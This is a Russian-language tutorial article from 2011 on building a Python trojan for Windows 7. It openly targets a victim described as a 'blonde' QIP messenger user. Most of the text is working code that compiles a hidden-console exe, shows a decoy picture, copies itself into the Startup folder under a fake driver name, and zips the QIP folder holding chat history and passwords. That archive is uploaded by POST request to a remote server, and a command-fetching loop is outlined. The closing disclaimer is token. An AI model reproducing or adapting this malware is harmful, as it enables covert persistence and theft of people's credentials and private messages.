Троян на Python. Основы зловредного кодинга на Python’e под Windows 7

23.06.2011
9424
0
Да Винчи сказал: «Существует три разновидности людей: те, кто видят; те, кто видят, когда им показывают; и те, кто не видят». Применительно к нашему времени я бы еще добавил группу: «Те, кто видят все, когда им нужно». Чтобы в нее вступить, нужно уметь получать любую информацию — это умение мы и будем сегодня развивать с помощью Python.

Выбор языка для троян-кодинга — тема для вечных холиваров. Хардкорщики кричат, что лишь на Asm’е пишется что-то нормальное. Группа полу-хардкорщиков молится на Си. Поклонники практически покойного Delphi тоже не отстают.

По большому счету, каждый из них прав, ведь всегда найдется задача, для которой конкретный язык подойдет идеально. В трояностроительном цеху Python’у также нашлось место, но пока оно ограничено лишь мобильными девайсами. Оно и понятно, ведь для запуска скрипта нужен интерпретатор, который у жертв на «большом компьютере» обычно не бывает установлен. Кстати, не проблема — эту трудность мы с тобой сможем превозмочь. Кроме этого, нужно понимать, что Python’новский троян целесообразно использовать лишь для точечных атак. К примеру, для решения задачи типа «1 девчонка типа «блондинка» + одна аська типа qip» :).
Pyinstaller

На сайте http://pyinstaller.org хостится важнейшая для нас на сегодня тулза. Она представляет собой набор скриптов, которые позволяют из обычного py-скрипта сделать exe-шник. Скачивай ее с сайта или с диска и давай потестим. Допустим, ты распаковал ее на диск D:.
Конфигурируем:

D:\pyinstaller> Configure.py

Теперь для теста в папке D:\test\ создай питоновский скрипт test.py:

print "OK"
open("ok.txt", "w").write('ok')

Создание exe-шника проходит в два этапа. Сначала скриптом Makespec. py записывается файл «spec» с параметрами «компиляции», а затем — скрипт Build.py создает непосредственно экзешник. Скрипт Makespec.py, кроме пути к py-файлу принимает много разных параметров, но нам важны лишь эти:

• «F», на выходе получим один лишь exe-шник;
• «w», не показывать консоль, без этого параметра по умолчанию программа запускается с консольным окном;
• «X», использовать UPX для сжатия exe;
• «--icon=file.ico», использовать указанную иконку.

Во время разработки желательно использовать только один параметр («F») с целью создания отладочного режима, — чтобы в результате получился один файл и окно, в котором мы бы видели свои ошибки. Проверяем и компилируем:

D:\pyinstaller> Makespec.py -F -w -X d:\test\test.py
D:\pyinstaller> Build.py d:\pyinstaller\test\test.spec

Несколько секунд ожидания… готово! Результат работы покоится в папке d:\pyinstaller\test\dist\. Наш test.exe получился размером в 2.4 Мб, и, если его запустить, то может показаться, что ничего не сработало — окна нет. Однако ok.txt создается, а значит, все отлично работает.
Картинка to string

Для начала обеспечим нашей программе некий минимум правдоподобности. Обеспечить ее для блондинки довольно просто — покажем ей красивую картинку, тут-то она и растает :). Поскольку все хозяйство у нас должно покоиться в одном py-файле, то картинку нужно будет сжать, а потом закинуть в base64 (превратив в строку). Теперь — немножко питоновской магии с объектом gzip.GzipFile, которому при создании мы указываем, куда сохранять уже сжатые данные, и получаем код, который читает файл my.jpg, сжимает, кодирует функцией base64.encodestring в строку base64 и полученную строку-изображение сохраняет в rez_img.txt:

import StringIO, gzip, base64
zbuf = StringIO.StringIO()
zfile = gzip.GzipFile(mode='wb', fileobj=zbuf)
zfile.write(open(‘my.jpg’,'rb’).read())
zfile.close()
open('rez_img.txt', 'w').write(
base64.encodestring(zbuf.getvalue())
)

Теперь, имея в своем распоряжении строку-картинку, мы можем приступить собственно к кодингу. В начале файла troj. py в переменную img мы поместим нашу картинку с rez_img. txt. Логика этого кода будет выглядеть примерно так (подробности — в сорце на диске):

img = '''
H4sIAMW28E...
'''
import sys
#если мы запущены первый раз
if (sys.argv[0].find(‘Startup’)==-1):
#создать картинку из img и показать ее
#узнать папку с автозагрузкой
#скопировать себя в автозагрузку
#создать архив qip и отослать на сервер
else:
#достать команду на сервере и исполнить ее
string to картинка to блондинко

Распаковка файла практически аналогична запаковке. Код этого нелегкого процесса ты всегда можешь посмотреть в исходнике на диске, а я лишь уточню, что название файла-картинки мы берем из исполнимого файла для уменьшения палевности:

file_src = sys.argv[0]
img_name= file_src.split('\\')[-1].\
split('.')[0]
img_name += '.jpg'

Вместо вышеприведенного кода можно было бы использовать стандартную функцию для отделения имени от пути, но мне проще сделать так, поскольку я извращенец :). Итак, картинка создана, остается лишь «исполнить» ее с использованием библиотеки subprocess: import subprocess subprocess.Popen(img_name, shell=True) Благодаря заблаговременно указанному «shell=True», картинка откроется так, как если бы пользователь сделал на ней обычный даблклик.
Автозапуск

Самый простой способ автозапуска нашей проги — скопировать в папку автозагрузки:

import shutil
shutil.copy(sys.argv[0], r'C:\ProgramData\
Microsoft\Windows\Start Menu\Programs\
Startup\driver_video.exe')

Как видишь, наш учебный троян заточен под английскую версию Windows 7, поэтому для работы с другими версиями константы путей нужно будет либо поменять, либо динамически вытаскивать их из стандартных переменных винды:

%windir%
%APPDATA%
%TEMP%

Полный список переменных можно узнать, написав в консоли команду «set», и эту же команду вместе с subprocess.Popen нужно заюзать, чтобы получить эти переменные из скрипта.
Копируем все!

Теперь, когда мы отвлекли внимание юзера ушастого и закрепились в автозагрузке, можно начать исполнение нашей основной задачи, отправив на сервер архив папки с историей и паролями qip’a — C:\Program Files\QIP\Users\.

Создадим в папке Temp архив, заюзав библиотеку zipfile. Для этого создадим объект zipfile.ZipFile и рекурсивно пройдемся по папке qip, добавляя в архив все файлы:

import zipfile
def addToZip(zf, path, zippath):
if os.path.isfile(path):
zf.write(path, zippath, zipfile.ZIP_DEFLATED)
elif os.path.isdir(path):
for nm in os.listdir(path):
addToZip(zf,
os.path.join(path, nm),
os.path.join(zippath, nm)
)
zip_file = r'C:\Windows\Temp\system_files.zip'
zf = zipfile.ZipFile(zip_file, 'w', allowZip64=True)
src = r'C:\Program Files\QIP\Users\\'
addToZip(zf, src, os.path.basename(src))
zf.close()

Отослать полученный файл можно, например, через ftp, или послать post-запросом. Второй вариант мы и реализуем, воспользовавшись библиотекой urllib2:

from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
import urllib2
register_openers()
d,h = multipart_encode({"f": open(zip_file,"rb")})
request = urllib2.Request("http://s/f.php", d, h)
urllib2.urlopen(request)

Вот и все! Наш учебный троян готов. Разумеется, ни в коем случае мы не советуем тебе использовать его в противозаконных целях, но на своем домашнем компьютере ты вполне можешь его потестить — он с удовольствием покажет тебе интересную картинку, заархивирует папку с qip’ом и отправит ее на сохранение твоему лучшему другу. Отличное решение, ведь если твой компьютер поразит злой вирус — ты всегда сможешь восстановиться из хранящегося у друга бэкапа!
О материале
Ошибка в тексте? Выделите и нажмите Ctrl+Enter!

Теги:
Об авторе
avatar

Реклама

Торецкий автобазар

Недвижимость Торецка

Работа в Торецке

Реклама